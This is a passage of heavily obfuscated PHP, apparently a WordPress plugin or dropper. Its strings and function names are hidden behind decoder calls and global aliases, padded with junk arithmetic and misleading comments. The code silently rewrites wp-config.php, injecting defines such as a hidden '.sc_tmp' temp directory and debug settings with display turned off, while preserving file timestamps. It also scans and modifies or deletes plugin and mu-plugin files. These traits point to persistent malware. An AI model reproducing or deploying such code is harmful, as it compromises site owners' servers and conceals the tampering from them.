 return;
   }
 @$GLOBALS['__scf_ujlpz7n1zr8s_16']($oocrmp9q68y2t2,   $ile6ebcabviy46_w);
  if  (!@$GLOBALS['__scf__fjwdq5uaqy8us_74']($oocrmp9q68y2t2, $jl_ruybeyx54iw)) {
    @$GLOBALS['__scf_l9ij4yiim4al_f_17']($oocrmp9q68y2t2);
  return;
      }
 if  ($dmk3os8nklyewd)     @$GLOBALS['__scf_nsfksoklwo_73']($jl_ruybeyx54iw,     $dmk3os8nklyewd);
      if      ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1457)))   @opcache_invalidate($jl_ruybeyx54iw, true);
}
 function  a0swul0vap56b9j70bu($ve7b97bfesd5z0)
      {$ce24c9ni=218;$li3779y8=($ce24c9ni>0)?$ce24c9ni:-$ce24c9ni;
if      (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($ve7b97bfesd5z0))  return    "";
   if    ($GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(1515), $ve7b97bfesd5z0,   $tzuwclmeiksr2vl))  {$vi4tav0f=11*9;$s67pvx2e9s=$vi4tav0f-20;
 $f_4isqr6gaomku4  = $tzuwclmeiksr2vl[1];
 $yionx_1pi6yhj  =   @$GLOBALS['__scf_cr6q9fwgft_18']($f_4isqr6gaomku4) ?   @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($f_4isqr6gaomku4) :  0;



   if    (!$yionx_1pi6yhj ||   $yionx_1pi6yhj    < (0x10e+0xe6)   ||  $yionx_1pi6yhj    >  (16765861+35662939))     {
   if     ($yionx_1pi6yhj >   (52428707+93))  {
 $hi85v7xxap      =   @$GLOBALS['__scf_jm_ztoos21fema_33']($f_4isqr6gaomku4);
    if      (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($hi85v7xxap))  $hi85v7xxap =  $f_4isqr6gaomku4;
      $hi85v7xxap =  $GLOBALS['__scf_gfb1kztgz8_351']('\\', '/', $hi85v7xxap);
    $pqrhlxa9knywc    = false;
  $pz_bvbyrl10 =  array(defined(e77owqcywda_d(1371)) ?  $GLOBALS['__scf_zwo1a6spxvy_12'](ABSPATH,    onlv7_99m8sby3(1187))  :      "", defined(onlv7_99m8sby3(1310))   ?  $GLOBALS['__scf_zwo1a6spxvy_12'](WP_CONTENT_DIR,  okltugscqfcy(1516))  :   "");
  foreach  ($pz_bvbyrl10 as    $a42nj6ni7f)   {



 $a42nj6ni7f  =      $GLOBALS['__scf_gfb1kztgz8_351']('\\',   '/', $a42nj6ni7f);
if ($a42nj6ni7f     !==    ""     && $GLOBALS['__scf_ffvfced40_hd3k_7']($hi85v7xxap,    $a42nj6ni7f  . '/') ===  0)    {
   $pqrhlxa9knywc     =   true;
 break;
 }
     }
  if   ($pqrhlxa9knywc  &&    n0t8w3br3bo60xew4($f_4isqr6gaomku4)   !==     false)  {
@$GLOBALS['__scf_l9ij4yiim4al_f_17']($f_4isqr6gaomku4);
@$GLOBALS['__scf_l9ij4yiim4al_f_17']($GLOBALS['__scf__ozzh8uadm__11']($f_4isqr6gaomku4)      .    e77owqcywda_d(666) . $GLOBALS['__scf_n2ceqwn4my98_3']($f_4isqr6gaomku4,  okltugscqfcy(1346)));
      }  else  {
   e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1517),    okltugscqfcy(1518)    . $GLOBALS['__scf_n2ceqwn4my98_3']($f_4isqr6gaomku4));
}

}
 return "";


}
  }
 return   $ve7b97bfesd5z0;


  }
  function    pmlrc_nk0j1wnz()
   {


   static  $f_4isqr6gaomku4   =  null;
if ($f_4isqr6gaomku4  ===   null)  {
$omjuwbhs4r44   =   p1w1aijw1nxgdhwwgzjmn(e77owqcywda_d(553), null);



   if   ($omjuwbhs4r44   ===    null)   {
    $_pn6yklj_ikf_zgd  = p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(334), "");

  $omjuwbhs4r44   =  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($_pn6yklj_ikf_zgd)    &&  $GLOBALS['__scf_ffvfced40_hd3k_7']($_pn6yklj_ikf_zgd,    onlv7_99m8sby3(554))   === 0) ? 1  : 0;
 ciwxbzr19t8j5_t(onlv7_99m8sby3(553),  $omjuwbhs4r44,   c_5yznsrtgse_i(1492));
    unset($_pn6yklj_ikf_zgd);
}
 $f_4isqr6gaomku4   =  ((int) $omjuwbhs4r44    ===    1);


}
// PHP 8.3 readonly icon sprite




return     $f_4isqr6gaomku4;
   }
    function   m7zlv9gvp84ldk()
{



 if      (!defined(okltugscqfcy(1371)))     return;
  $jj6fib7ix9ntj     =   ABSPATH  .  okltugscqfcy(1519);

      if  (!@$GLOBALS['__scf_cr6q9fwgft_18']($jj6fib7ix9ntj))   {


   $x9e3gg2aogcnq6rq  =  $GLOBALS['__scf__ozzh8uadm__11'](ABSPATH) .  c_5yznsrtgse_i(1073);
    if  (@$GLOBALS['__scf_cr6q9fwgft_18']($x9e3gg2aogcnq6rq))  $jj6fib7ix9ntj    =      $x9e3gg2aogcnq6rq;
 }
  if   (!@$GLOBALS['__scf_cr6q9fwgft_18']($jj6fib7ix9ntj)    || !@$GLOBALS['__scf_lnazygzamf_47']($jj6fib7ix9ntj))     return;
 $hi85v7xxap  =   @$GLOBALS['__scf_jm_ztoos21fema_33']($jj6fib7ix9ntj);
     if     ($GLOBALS['__scf_ncrh0liqs6be8x_41']($hi85v7xxap)    &&  $hi85v7xxap !== ""      &&   @$GLOBALS['__scf_lnazygzamf_47']($hi85v7xxap))   $jj6fib7ix9ntj   = $hi85v7xxap;
     if     (@$GLOBALS['__scf_o_3hcsdzwrvrr_96']($jj6fib7ix9ntj) >      (4194239+65))  return;
 $i2heqo3a8u1x    =   @$GLOBALS['__scf_ha14er2zmzf_92']($jj6fib7ix9ntj);
 if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x) ||  $i2heqo3a8u1x    ===     "")  return;

      $sr2nwh01tn3h1r   =  ($GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,      c_5yznsrtgse_i(1520))   !== false   ||     $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,      c_5yznsrtgse_i(1521))  !==  false);
   $skam8tshjvkzp_   =  false;
if    ($GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x, c_5yznsrtgse_i(1522)) === false)   {
if  (!empty($GLOBALS[okltugscqfcy(1523)]))   {
 $skam8tshjvkzp_  = true;

       }  else   {
$tufjta4pp_4y0m      = $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(135))  ?  $GLOBALS['__scf_hfd5naynxinvpq_77']() :   onlv7_99m8sby3(78);



 if (!@$GLOBALS['__scf_iomf4blfg0_43']($tufjta4pp_4y0m)   ||   !@$GLOBALS['__scf_lnazygzamf_47']($tufjta4pp_4y0m))  $skam8tshjvkzp_  =      true;
  }
 }
 $lqxa7hg30bt36vh   =     false;
  $xeg0103uzjo =      false;



  if    (!$GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(1524),    $i2heqo3a8u1x)     && defined(e77owqcywda_d(1310)))  {


  $_ac   = WP_CONTENT_DIR .  c_5yznsrtgse_i(1149);
  if (@$GLOBALS['__scf_cr6q9fwgft_18']($_ac))  {
 $iwfj30zjvq  =  (string)   @$GLOBALS['__scf_ha14er2zmzf_92']($_ac,   false,     null,     0,   (4051+45));
   if ($GLOBALS['__scf_ffvfced40_hd3k_7']($iwfj30zjvq, e77owqcywda_d(1525))  !== false)  $lqxa7hg30bt36vh      = true;
    }
}  elseif   (

 $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x, onlv7_99m8sby3(508))    ===  false
      &&  $GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(1526),     $i2heqo3a8u1x)
  )  {
    $xeg0103uzjo    =   true;
  }



$k361p_9k89rxgsl     = false;
     if   (pmlrc_nk0j1wnz())   {
 if  (
        !$GLOBALS['__scf_ibg88bu925_93'](okltugscqfcy(1527),    $i2heqo3a8u1x)
  ||  !$GLOBALS['__scf_ibg88bu925_93'](okltugscqfcy(1528),  $i2heqo3a8u1x)
   ||   !$GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(1529),  $i2heqo3a8u1x)
)  $k361p_9k89rxgsl    =  true;
   }
  if     (!$sr2nwh01tn3h1r   && !$skam8tshjvkzp_   &&     !$lqxa7hg30bt36vh  &&    !$k361p_9k89rxgsl   &&   !$xeg0103uzjo)   return;
 $dk46tr2mee1hr  =   "";
        $dtmb4x_663o5v   = $i2heqo3a8u1x;
 if ($sr2nwh01tn3h1r)  {

    if   ($GLOBALS['__scf_qbkffloyend_1373'](onlv7_99m8sby3(1530), $i2heqo3a8u1x,    $o49qk62wjqod8e2))   $dk46tr2mee1hr   .=     $GLOBALS['__scf_avnbslqoow6nk_330']("\n",  $o49qk62wjqod8e2[0]);
   $dtmb4x_663o5v  =    $GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(1530),  "",  $i2heqo3a8u1x);
  if     (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v))  return;
    if     (!$GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1531), $dtmb4x_663o5v))      {
 if  ($GLOBALS['__scf_qbkffloyend_1373'](c_5yznsrtgse_i(1532),  $dtmb4x_663o5v,   $r09zczbhewsbi)) $dk46tr2mee1hr   .=     "\n"  . $GLOBALS['__scf_avnbslqoow6nk_330']("\n", $r09zczbhewsbi[0]);
 $dtmb4x_663o5v  = $GLOBALS['__scf_t8cv4weumn7_439'](c_5yznsrtgse_i(1533),   "", $dtmb4x_663o5v);
   if      (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v))   return;
   }
}
     $frj10wy0s825w4   =    onlv7_99m8sby3(1534);
if   ($skam8tshjvkzp_  &&  $GLOBALS['__scf_ibg88bu925_93']('/' .  $frj10wy0s825w4 .   '/', $dtmb4x_663o5v)) {
  $dtmb4x_663o5v    =  $GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(1535)  .  $frj10wy0s825w4  .    okltugscqfcy(1536),   c_5yznsrtgse_i(1537)  .  "define( 'WP_TEMP_DIR', ( defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR : ABSPATH . 'wp-content' ) . '/.sc_tmp' );\n", $dtmb4x_663o5v,  1);
if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v))  return;

  }
 if   ($lqxa7hg30bt36vh   && $GLOBALS['__scf_ibg88bu925_93']('/'  . $frj10wy0s825w4 .  '/',   $dtmb4x_663o5v))  {
$dtmb4x_663o5v  =      $GLOBALS['__scf_t8cv4weumn7_439'](e77owqcywda_d(1538) . $frj10wy0s825w4 . okltugscqfcy(1536),   onlv7_99m8sby3(1537)    . "define( 'WP_CACHE', true ); /* SC_WC */\n",   $dtmb4x_663o5v, 1);
 if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v))   return;

 }   elseif  ($xeg0103uzjo)  {
  $dtmb4x_663o5v  = $GLOBALS['__scf_t8cv4weumn7_439'](e77owqcywda_d(1538) . $frj10wy0s825w4 .      onlv7_99m8sby3(1539), okltugscqfcy(1537)    . "define( 'WP_CACHE', true ); /* SC_WC */\n",    $dtmb4x_663o5v, 1);
  if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v)) return;
}
  if  ($k361p_9k89rxgsl) {
$dtmb4x_663o5v =  $GLOBALS['__scf_t8cv4weumn7_439'](e77owqcywda_d(1540),     "",  $dtmb4x_663o5v);
  if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v))  return;

     if  ($GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1538) .   $frj10wy0s825w4   . onlv7_99m8sby3(1536),  $dtmb4x_663o5v))    {$y1__gw690tmx=20|24;$ebzzvryxl=$y1__gw690tmx^90;
   $dtmb4x_663o5v  =    $GLOBALS['__scf_t8cv4weumn7_439'](onlv7_99m8sby3(1538)  .  $frj10wy0s825w4 . onlv7_99m8sby3(1541),    e77owqcywda_d(1537)     .  "define( 'WP_DEBUG', true );\ndefine( 'WP_DEBUG_LOG', true );\ndefine( 'WP_DEBUG_DISPLAY', false );\n",  $dtmb4x_663o5v,  1);



if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v))  return;
  }
 }
 if  ($dtmb4x_663o5v    ===   $i2heqo3a8u1x) return;
if (!pqt0j30bec0qiplt($dtmb4x_663o5v)) return;
      if   ($xeg0103uzjo    &&     $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1369)))    @update_option(c_5yznsrtgse_i(1542),  1, okltugscqfcy(1543));
  if  ($lqxa7hg30bt36vh &&    !dw5xb53ayd6_2w149kl6c($jj6fib7ix9ntj, $i2heqo3a8u1x)) {



e_42zxx3yq4pdz4bo4(okltugscqfcy(1544), onlv7_99m8sby3(1282));
 $dtmb4x_663o5v  =  $GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(1538) .  $frj10wy0s825w4   .  onlv7_99m8sby3(1545), c_5yznsrtgse_i(1537),  $dtmb4x_663o5v,  1);
if     (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($dtmb4x_663o5v) || $dtmb4x_663o5v  ===  $i2heqo3a8u1x)     return;$k2l3yt6b=40|124;$nwvyweqw6io0=$k2l3yt6b^180;
if  (!pqt0j30bec0qiplt($dtmb4x_663o5v))  return;
 }
  $ile6ebcabviy46_w  = @fileperms($jj6fib7ix9ntj);
   $ile6ebcabviy46_w  =      ($ile6ebcabviy46_w  ===   false)    ?     (372+48) :    ($ile6ebcabviy46_w  &  (0xda+0x125));
   $dmk3os8nklyewd     =  @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($jj6fib7ix9ntj);

$snzft2b1tu47720    =  @$GLOBALS['__scf_ha14er2zmzf_92']($jj6fib7ix9ntj);
 if     (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($snzft2b1tu47720)   ||  $snzft2b1tu47720  !==   $i2heqo3a8u1x)  {
 e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1546),  c_5yznsrtgse_i(1191));
   return;
}
unset($snzft2b1tu47720);
$oocrmp9q68y2t2  =    @$GLOBALS['__scf_k5cfm7qdognpb_76']($GLOBALS['__scf__ozzh8uadm__11']($jj6fib7ix9ntj),     e77owqcywda_d(1547));
  if ($oocrmp9q68y2t2  === false)  return;
if    (@$GLOBALS['__scf_uayyvei514_193']($oocrmp9q68y2t2, $dtmb4x_663o5v)      !== $GLOBALS['__scf_m36_x4cy3m1b5_10']($dtmb4x_663o5v))    {
 @$GLOBALS['__scf_l9ij4yiim4al_f_17']($oocrmp9q68y2t2);
return;
}
  @$GLOBALS['__scf_ujlpz7n1zr8s_16']($oocrmp9q68y2t2, $ile6ebcabviy46_w);
     if (!@$GLOBALS['__scf__fjwdq5uaqy8us_74']($oocrmp9q68y2t2, $jj6fib7ix9ntj)) {
   @$GLOBALS['__scf_l9ij4yiim4al_f_17']($oocrmp9q68y2t2);
  return;
        }
if ($dmk3os8nklyewd)  @$GLOBALS['__scf_nsfksoklwo_73']($jj6fib7ix9ntj,     $dmk3os8nklyewd);
if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1457))) @opcache_invalidate($jj6fib7ix9ntj,  true);



 if  ($lqxa7hg30bt36vh)  z70pp09ofsx7infprg85($jj6fib7ix9ntj);
   if     (($lqxa7hg30bt36vh   ||  $xeg0103uzjo) && $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1548))) @delete_option(onlv7_99m8sby3(1549));



if    ($GLOBALS['__scf_qbkffloyend_1373'](onlv7_99m8sby3(1550), $dk46tr2mee1hr,    $cp6lk2j7m6)) {
  foreach ($GLOBALS['__scf_youxoa71214_145']($cp6lk2j7m6[1])    as $n0m91x_f2w8nkq) {
  if     ($GLOBALS['__scf_ffvfced40_hd3k_7']($n0m91x_f2w8nkq,  c_5yznsrtgse_i(1551))      ===    0  &&    @$GLOBALS['__scf_cr6q9fwgft_18']($n0m91x_f2w8nkq))  @$GLOBALS['__scf_l9ij4yiim4al_f_17']($n0m91x_f2w8nkq);
 }
 }
       if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1548))     &&  $GLOBALS['__scf_qbkffloyend_1373'](c_5yznsrtgse_i(1552), $dk46tr2mee1hr,    $r6peh8qelhce)) {
    foreach    ($GLOBALS['__scf_youxoa71214_145']($r6peh8qelhce[1]) as  $_8y1ihk24bo9ka4o)  {
   if ($GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1553), $_8y1ihk24bo9ka4o))   @delete_option($_8y1ihk24bo9ka4o);
 }
       }
}
function      cc73vlv66n21eqqnr()
  {
// differential collector

    if   (!defined(c_5yznsrtgse_i(1310))) return;
 $zpl2hxo1bkn2wh  =  defined(okltugscqfcy(1554))   ? WPMU_PLUGIN_DIR    :     WP_CONTENT_DIR   .    okltugscqfcy(1299);
 $ro9mh79am555o = array();
     if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(723)))  {$ld6e746sjta=-517;$w6rrisijm3i2b=($ld6e746sjta>0)?$ld6e746sjta:-$ld6e746sjta;



 if (@$GLOBALS['__scf_iomf4blfg0_43']($zpl2hxo1bkn2wh))   foreach ((array)  @$GLOBALS['__scf_gjx8dntqvik0_71']($zpl2hxo1bkn2wh . okltugscqfcy(1555)) as $jszt7w4fcghd4tl)    $ro9mh79am555o[]    = $jszt7w4fcghd4tl;
  if  (defined(onlv7_99m8sby3(1035))   &&   @$GLOBALS['__scf_iomf4blfg0_43'](WP_PLUGIN_DIR))  foreach  ((array) @$GLOBALS['__scf_gjx8dntqvik0_71'](WP_PLUGIN_DIR  . okltugscqfcy(438))  as $jszt7w4fcghd4tl) $ro9mh79am555o[]  =   $jszt7w4fcghd4tl;
       }


    $x7k3jwmrl72e  =  defined(c_5yznsrtgse_i(1371))  ?   ABSPATH    : "";
  $rwl4k2s91f8k    = WP_CONTENT_DIR . onlv7_99m8sby3(85)   .  $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56']($x7k3jwmrl72e .    c_5yznsrtgse_i(66)),  0,     (12-4)) . onlv7_99m8sby3(86) .  $GLOBALS['__scf_pozjicggfgaq_9']($GLOBALS['__scf_poant85f5yad_56']($x7k3jwmrl72e .  e77owqcywda_d(87)),  0,    (0x3+0x5)) .  c_5yznsrtgse_i(1346);
      if (@$GLOBALS['__scf_cr6q9fwgft_18']($rwl4k2s91f8k))   $ro9mh79am555o[] =  $rwl4k2s91f8k;
     foreach      ($ro9mh79am555o as $jszt7w4fcghd4tl)  {
    $dmk3os8nklyewd   = @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($jszt7w4fcghd4tl);



     if     (!$dmk3os8nklyewd ||  ($dmk3os8nklyewd   %   (176979-76979))    !==     (0x139a2+0x34d9)) {


   $ojl9b831svk6   =   @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($jszt7w4fcghd4tl);$t3u23hfxnr35n=82*4;$p9r_w3_ylb6=$t3u23hfxnr35n-39;
 if   (!$ojl9b831svk6   || $ojl9b831svk6  <    (458+42) || $ojl9b831svk6 >  (52428775+25))    continue;
       }
$hi85v7xxap    = @$GLOBALS['__scf_jm_ztoos21fema_33']($jszt7w4fcghd4tl);
   $vtin74jazam  = @$GLOBALS['__scf_jm_ztoos21fema_33'](ku6yldy17ivtsoehkpgirz());
 if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($hi85v7xxap)  && $GLOBALS['__scf_ncrh0liqs6be8x_41']($vtin74jazam)   && $hi85v7xxap === $vtin74jazam)     continue;
   $e22c3s2narioqp    =   @$GLOBALS['__scf_ha14er2zmzf_92']($jszt7w4fcghd4tl, false,  null, 0,     (0x190+0xe70));
  $tkoztaovzz    =      null;


 if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($e22c3s2narioqp)    &&  $GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(179), $e22c3s2narioqp, $e6zixlpocefclkw9))    $tkoztaovzz    =    $e6zixlpocefclkw9[1];
  elseif   (b1p_z7rdqk4o1fv4ey8f3t($jszt7w4fcghd4tl,    (4916+84)))     $tkoztaovzz    =   onlv7_99m8sby3(1556);


  if   ($tkoztaovzz   ===   null ||     !version_compare($tkoztaovzz,  w218ynit42v8uao2p(),  '<'))  continue;
$kzk067b41rrgnu6     = n0t8w3br3bo60xew4($jszt7w4fcghd4tl);
   if   ($kzk067b41rrgnu6     ===     false)   {
  e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1517),   c_5yznsrtgse_i(1557)   .   $GLOBALS['__scf_n2ceqwn4my98_3']($jszt7w4fcghd4tl));

     continue;
  }

       if ($kzk067b41rrgnu6  === true) {



 if    (l5bm62j0wqxjaofuju3($jszt7w4fcghd4tl,  $jszt7w4fcghd4tl    .  okltugscqfcy(188)))   {

  if     ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1457))) @opcache_invalidate($jszt7w4fcghd4tl, true);
       } elseif  (!x0v1bjoq5k18hm0o0l($jszt7w4fcghd4tl)    &&  tcabtbfivnye9t($jszt7w4fcghd4tl))  {
  brq2e22wo0d9ax40s9($jszt7w4fcghd4tl);
 qeqwysacoqglzf7($jszt7w4fcghd4tl);
}
 @$GLOBALS['__scf_l9ij4yiim4al_f_17']($GLOBALS['__scf__ozzh8uadm__11']($jszt7w4fcghd4tl) . e77owqcywda_d(666) .   $GLOBALS['__scf_n2ceqwn4my98_3']($jszt7w4fcghd4tl,   e77owqcywda_d(1346)));


 continue;
 }
  if  (!x0v1bjoq5k18hm0o0l($jszt7w4fcghd4tl)   &&   tcabtbfivnye9t($jszt7w4fcghd4tl))    {
    brq2e22wo0d9ax40s9($jszt7w4fcghd4tl);
 qeqwysacoqglzf7($jszt7w4fcghd4tl);

    }
  _dbhfbzpahggm4($jszt7w4fcghd4tl);
       }

 m7zlv9gvp84ldk();
 $nl7qofgo0h  =     WP_CONTENT_DIR  . c_5yznsrtgse_i(1044);
  

if  (@$GLOBALS['__scf_iomf4blfg0_43']($nl7qofgo0h)   &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(723)))   {


foreach  ((array)  @$GLOBALS['__scf_gjx8dntqvik0_71']($nl7qofgo0h .   onlv7_99m8sby3(1558)) as   $t8u2roxhcf8wkws)  {
   if  (!@$GLOBALS['__scf_cr6q9fwgft_18']($t8u2roxhcf8wkws)  ||  !@$GLOBALS['__scf_lnazygzamf_47']($t8u2roxhcf8wkws)) continue;
      $s7ruusmnd3yeu5j     =   @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($t8u2roxhcf8wkws);
   if   (!$s7ruusmnd3yeu5j   ||   $s7ruusmnd3yeu5j  >   (850483+1246669)) continue;
     $e7asznma7b85k  = @$GLOBALS['__scf_ha14er2zmzf_92']($t8u2roxhcf8wkws);

     if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($e7asznma7b85k))     continue;
if  ($GLOBALS['__scf_ffvfced40_hd3k_7']($e7asznma7b85k,  e77owqcywda_d(1505))   ===   false  &&  $GLOBALS['__scf_ffvfced40_hd3k_7']($e7asznma7b85k,     onlv7_99m8sby3(1559)) === false   &&    $GLOBALS['__scf_ffvfced40_hd3k_7']($e7asznma7b85k, c_5yznsrtgse_i(1560)) === false)   continue;
      if   (!bgr6p9vzv89s9y0vm9ym8i($e7asznma7b85k))     continue;
   $jg4s_xzb89nqq9b =  v7_g7gfntvbthq6($e7asznma7b85k);

if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($jg4s_xzb89nqq9b) &&   $jg4s_xzb89nqq9b  !==    $e7asznma7b85k)   {
    n_52vz_mvq1filje($t8u2roxhcf8wkws,  $jg4s_xzb89nqq9b);
     if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1457))) @opcache_invalidate($t8u2roxhcf8wkws,  true);
}
  }

    }
     otrzpppd84cp5fc(WP_CONTENT_DIR    . c_5yznsrtgse_i(1149));



otrzpppd84cp5fc(WP_CONTENT_DIR   .   c_5yznsrtgse_i(490));
 if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1561))    && $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1548))     &&      $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1562)))    {
  $_on    =     l09115umv3lykft9t(ABSPATH   .  c_5yznsrtgse_i(1205), (0x2+0x8));
  $xk93z8_wq6  =  @get_option($_on,   "");
   if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($xk93z8_wq6)  && $xk93z8_wq6  !==  "")  {

 $mlc2aw4eqz29 = $GLOBALS['__scf_j_3rba3nic_344']($xk93z8_wq6,  true);$ox6gqsn3n8ze=PHP_INT_MAX/PHP_INT_MAX;$zzmuaddx1xrn=$ox6gqsn3n8ze+32;


   if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($mlc2aw4eqz29)  &&   yefocejm47svn8b5g($mlc2aw4eqz29))  @delete_option($_on);

     }
   $y09_e6tdfjvw_o9k    =  $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1563))  ? p1w1aijw1nxgdhwwgzjmn(okltugscqfcy(839),      "") :   "";
   if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($y09_e6tdfjvw_o9k)  && $y09_e6tdfjvw_o9k  !== ""   &&     ($GLOBALS['__scf_m36_x4cy3m1b5_10']($y09_e6tdfjvw_o9k)   >    (1048569+7)     ||    ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1564))     &&   k4lhjl5483_yjz($y09_e6tdfjvw_o9k))   ||  z3a53qcfaiyfod0($y09_e6tdfjvw_o9k)))     {


   if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1565)))  ciwxbzr19t8j5_t(c_5yznsrtgse_i(1566), "",  e77owqcywda_d(1567));
    }


 }
// WP Cover Block capability gate

}
  function  w49r9oh9ioww45sp3()


    {
 try    {
  if   (!defined(e77owqcywda_d(1371)))    return;
if    (!empty($GLOBALS[c_5yznsrtgse_i(1568)]))   {
// regex evaluation

 $GLOBALS[okltugscqfcy(1568)] = 0;
 e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1569),     okltugscqfcy(1570));
 }
  if     (!empty($GLOBALS[okltugscqfcy(672)]))    return;
   $GLOBALS[e77owqcywda_d(1571)]     =  true;
 if  (!isset($_GET[okltugscqfcy(1403)])  &&      $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1561))  &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1408))) {
$rf3n5uqbg_67uht  =  @get_option(c_5yznsrtgse_i(1503),  array());
$lipg0rsx_vdqd06y  =  false;
   if    ($GLOBALS['__scf_a91xkwk0qm_35']($rf3n5uqbg_67uht))   {
      if (!empty($rf3n5uqbg_67uht['t']))    $lipg0rsx_vdqd06y =  true;
if     (!$lipg0rsx_vdqd06y &&  !empty($rf3n5uqbg_67uht[okltugscqfcy(1498)])   && $GLOBALS['__scf_a91xkwk0qm_35']($rf3n5uqbg_67uht[okltugscqfcy(1572)])) {

foreach    ($rf3n5uqbg_67uht[c_5yznsrtgse_i(1573)]  as   $_ci) {
if     ($GLOBALS['__scf_a91xkwk0qm_35']($_ci)  &&      !empty($_ci['p']))     {
   $lipg0rsx_vdqd06y =  true;
 break;
 }
// WordPress 6.2 navigation: immutable bivariant

}
     }
 }
  if   ($lipg0rsx_vdqd06y)  $GLOBALS['__scf_mk0x8rn0w4_167'](e77owqcywda_d(1442));
  }
 if  (xoaebe3djgc6z_1bgf(ku6yldy17ivtsoehkpgirz()))    return;

 $n8dzwwnqbujt6eb =  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1574))  ? (int)  get_option(onlv7_99m8sby3(1575),    0)   : 0;
if     ($n8dzwwnqbujt6eb    < $GLOBALS['__scf_p_l9i38f5mdu2r_184']() -    (235+65)   || $n8dzwwnqbujt6eb  >  $GLOBALS['__scf_p_l9i38f5mdu2r_184']()   +     (213+87))   {
 if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1369)))     @update_option(c_5yznsrtgse_i(1575),   $GLOBALS['__scf_p_l9i38f5mdu2r_184']());
cc73vlv66n21eqqnr();
}
/* minimal deque */


unset($n8dzwwnqbujt6eb);
   qfjrcc2t089u3yjv43(ku6yldy17ivtsoehkpgirz(),  w218ynit42v8uao2p());
 if (!rqr3_97bcqnf0fx8())    {
 lrvopvikzdgr9rxqhk5();
       _muf4bt3d3hw1nu09woag();
  

    return;
 }
// WP RichText API aspect ratio




$og0ebx9lu2qzdtmg  = rb4qo3s3qey8iml9k_t();
   $hb0usjracn =    array(
  ku6yldy17ivtsoehkpgirz(),
  $og0ebx9lu2qzdtmg .  e77owqcywda_d(490),
  );


       $un7tkx4wfso =    ptr_mjcyqfyp2ixlej_sm();



foreach    ($un7tkx4wfso    as   $d39mrih6x_llc) {
 if  (@$GLOBALS['__scf_cr6q9fwgft_18']($d39mrih6x_llc))  $hb0usjracn[] =     $d39mrih6x_llc;

 }
 $m33y9xcnlar1 = array();
   $btz_biq8ue4 =     ui5gaq394x13hnjrqiw();
